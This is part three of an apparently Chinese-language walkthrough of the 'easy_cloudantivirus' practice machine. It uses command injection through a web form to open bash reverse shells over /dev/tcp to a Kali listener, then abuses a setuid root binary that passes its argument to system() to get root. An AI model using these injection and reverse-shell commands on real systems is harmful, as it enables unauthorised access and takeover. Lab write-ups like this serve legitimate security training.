靶機: easy_cloudantivirus( 三 )


  • nc 上傳 bash 反彈木馬程序
    • 表單提交 a | ls | grep 'xxxxx' | touch a.sh
    • 表單提交 a | ls | grep 'xxxxx' | nc -l -p 4444 -w6 > a.sh
    • 在 kali 執行 nc 192.168.56.109 4444 < 'bash -i >& /dev/tcp/192.168.56.111/23333 0>&1'
    • 在 kali 執行 netcat -lvp 23333 監聽端口
    • 表單提交 a | ls | grep 'xxxxx' | bash a.sh 反彈 shell
  • ┌──(kali?kali)-[~/workspace]└─$ netcat -lvp 23333listening on [any] 23333 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 52396bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellscanner@cloudav:~/cloudav_app$ lslsapp.pya.shdatabase.sqlget-pip.pyget-pip.py.1get-pip.py.2get-pip.py.3samplestemplatesscanner@cloudav:~/cloudav_app$
    • 成功反彈 shell
    本質上此用戶 scanner 的可行動服務就非常高,隨便的方法都能攻破【不在進行其他 shell 反彈演示 , 有需求自行查找】
    探索目標我們已經進入目標的內部,我們探索一下目錄、文件
    • 我們在用戶根目錄發現一個有特殊權限的文件 -rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav
      scanner@cloudav:~$ ls -alhls -alhtotal 60Kdrwxr-xr-x 6 scanner scanner 4.0K Oct 242018 .drwxr-xr-x 4 rootroot4.0K Oct 212018 ..-rw------- 1 scanner scanner5 Oct 242018 .bash_history-rw-r--r-- 1 scanner scanner220 Oct 212018 .bash_logout-rw-r--r-- 1 scanner scanner 3.7K Oct 212018 .bashrcdrwx------ 2 scanner scanner 4.0K Oct 212018 .cachedrwxrwxr-x 4 scanner scanner 4.0K Oct 23 10:59 cloudav_appdrwx------ 3 scanner scanner 4.0K Oct 212018 .gnupgdrwxrwxr-x 3 scanner scanner 4.0K Oct 212018 .local-rw-r--r-- 1 scanner scanner807 Oct 212018 .profile-rw-rw-r-- 1 scanner scanner66 Oct 212018 .selected_editor-rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav-rw-rw-r-- 1 scanner scanner393 Oct 242018 update_cloudav.c
      • 在linux中,-s 指的是強制位權限,具有程序運行時子進程權限繼承,s 權限位是一個敏感的權限位,容易造成系統的安全問題
      • 其中還含有源碼 update_cloudav.c 我們可以查看源碼,發現執行此命令需要一個參數,我們完全可以故技重施
      #include <stdio.h>int main(int argc, char *argv[]){char *freshclam="/usr/bin/freshclam";if (argc < 2){printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");return 1;}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);sprintf(command, "%s %s", freshclam, argv[1]);setgid(0);setuid(0);system(command);return 0;}
    • 獲取 root 權限
      • Kali 設置 netcat -lvp 4444 監聽 4444 端口
      • 靶機上 shell 反彈 touch b.sh && echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > b.sh && ./update_cloudav "a | ls | grep 'xxxxx' | bash b.sh"
      ┌──(kali?kali)-[~]└─$ netcat -lvp 4444listening on [any] 4444 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 56672bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellroot@cloudav:~# ididuid=0(root) gid=0(root) groups=0(root),1001(scanner)
    游戲結束 GAMEOVER

    推薦閱讀